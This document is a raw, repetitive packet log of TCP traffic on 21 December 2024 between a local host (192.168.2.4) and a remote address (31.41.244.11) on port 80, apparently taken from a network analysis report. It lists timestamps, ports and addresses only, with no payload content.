Dec 21, 2024 18:16:33.765055895 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.767163992 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.767256021 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.767328024 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.769748926 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.770023108 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.770153999 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.772228956 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.772317886 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.772322893 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.772387028 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.774698019 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.774728060 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.774833918 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.777343988 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.777364969 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.777461052 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.779539108 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.779970884 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.780045986 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.781929016 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.782044888 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.782139063 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.784322977 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.784399986 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.784445047 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.785491943 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.786731005 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.786832094 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.786853075 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.786967993 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.789138079 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.789340019 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.789370060 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.789468050 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.791574001 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.791714907 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.791718960 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.791773081 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.793972969 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.794111013 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.794166088 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.796480894 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.796530962 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.796670914 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.798727989 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.798866987 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.798944950 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.801198959 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.801297903 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.801373005 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.803544998 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.803587914 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.803659916 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.803673029 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.805967093 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.806233883 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.806313992 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.807794094 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.807857037 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.808001995 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.809642076 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.809739113 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.809804916 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.811455965 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.811510086 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.811537981 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.811572075 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.813234091 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.813313961 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.813343048 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.813427925 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.815361977 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.815438032 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.815438032 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.815495014 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.817300081 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.817367077 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.817368984 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.817470074 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.818878889 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.818998098 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.819109917 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.820512056 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.820627928 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.820708036 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.822329044 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.822412014 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.822489023 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.822489023 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.824143887 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.824263096 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.824640989 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.826350927 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.826461077 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.826539040 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.827819109 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.827876091 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.827977896 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.829654932 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.829747915 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.829751968 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.831509113 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.831578016 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.831721067 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.833277941 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.833570004 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.833686113 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.938148975 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.938170910 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.938332081 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.938519955 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.938563108 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.938621998 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.940095901 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.940165997 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.940269947 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.941813946 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.941854000 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.941956043 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.943423986 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.943533897 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.943536997 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.945544004 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.945604086 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.945751905 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.945878983 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.946788073 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.946825027 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.946873903 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.948206902 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.948251009 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.948318958 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.949770927 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.949886084 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.949965000 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.951343060 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.951406002 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.951442003 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.952963114 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.953037024 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.953051090 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.953315020 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.954488993 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.954508066 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.954624891 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.956077099 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.956150055 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.956227064 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.957689047 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.957756042 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.957818985 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.959281921 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.959340096 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.959502935 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.961086035 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.961154938 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.961172104 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.961534023 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.962461948 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.962513924 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.962595940 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.964049101 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.964113951 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.964179993 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.965636015 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.965665102 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.965730906 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.967113018 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.967248917 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.967272997 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.968790054 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.968872070 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.968879938 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.969461918 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.970299959 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.970449924 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.970617056 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.971889019 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.972018003 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.972110987 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.973767996 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.973817110 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.973866940 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.975087881 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.975183010 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.975183010 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.976670980 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.976722956 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.976814985 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.977453947 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.978215933 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.978303909 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.978439093 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.979789019 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.979995966 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.980098963 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.981481075 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.981724977 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.981781960 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.983163118 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.983207941 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.983208895 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.984761000 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.984781027 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.984827995 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.984885931 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.986279011 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.986382008 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.986892939 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.987834930 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.987957001 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.988024950 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.989299059 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.989348888 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.989396095 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.989542007 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.990875006 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.990916967 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.990993977 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.991086960 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.992489100 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.992553949 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.992580891 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.992598057 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.994081974 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.994205952 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.994281054 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.995712996 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.995776892 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.995830059 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.997195005 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.997313976 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.997394085 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:33.998861074 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.998951912 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:33.999034882 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.000371933 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.000459909 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.000513077 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.001631975 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.002334118 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.002625942 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.002644062 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.002702951 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.004483938 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.004529953 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.004556894 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.005556107 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.005649090 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.005727053 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.005745888 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.005816936 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.007016897 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.007034063 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.007083893 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.008289099 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.008377075 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.008474112 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.009969950 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.009987116 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.010066032 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.011573076 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.011610985 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.011631966 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.013056993 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.013115883 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.013174057 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.013386965 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.014652014 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.014703989 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.014764071 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.016175985 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.016280890 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.016361952 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.017749071 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.021509886 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.130212069 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.130302906 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.130381107 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.130928993 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.131052017 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.131105900 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.132401943 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.132430077 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.132456064 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.132483959 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.133878946 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.133924961 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.133970022 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.134032965 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.135305882 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.135421038 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.135478973 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.136775970 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.136842966 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.136852980 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.136917114 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.138273001 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.138328075 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.138370037 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.139605999 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.139653921 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.139698982 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.140995979 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.141012907 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.141047955 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.141084909 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.142326117 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.142374039 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.142709970 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.143755913 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.143922091 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.144809961 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.145106077 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.145160913 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.145181894 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.145334959 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.146322012 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.146410942 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.146420956 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.146492958 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.147716045 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.147763014 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.147872925 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.147912979 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.149081945 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.149151087 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.149185896 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.149559021 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.150415897 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.150463104 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.150527954 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.150569916 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.151801109 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.151896000 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.151904106 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.151968956 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:34.153146982 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:34.153263092 CET	49826	80	192.168.2.4	31.41.244.11
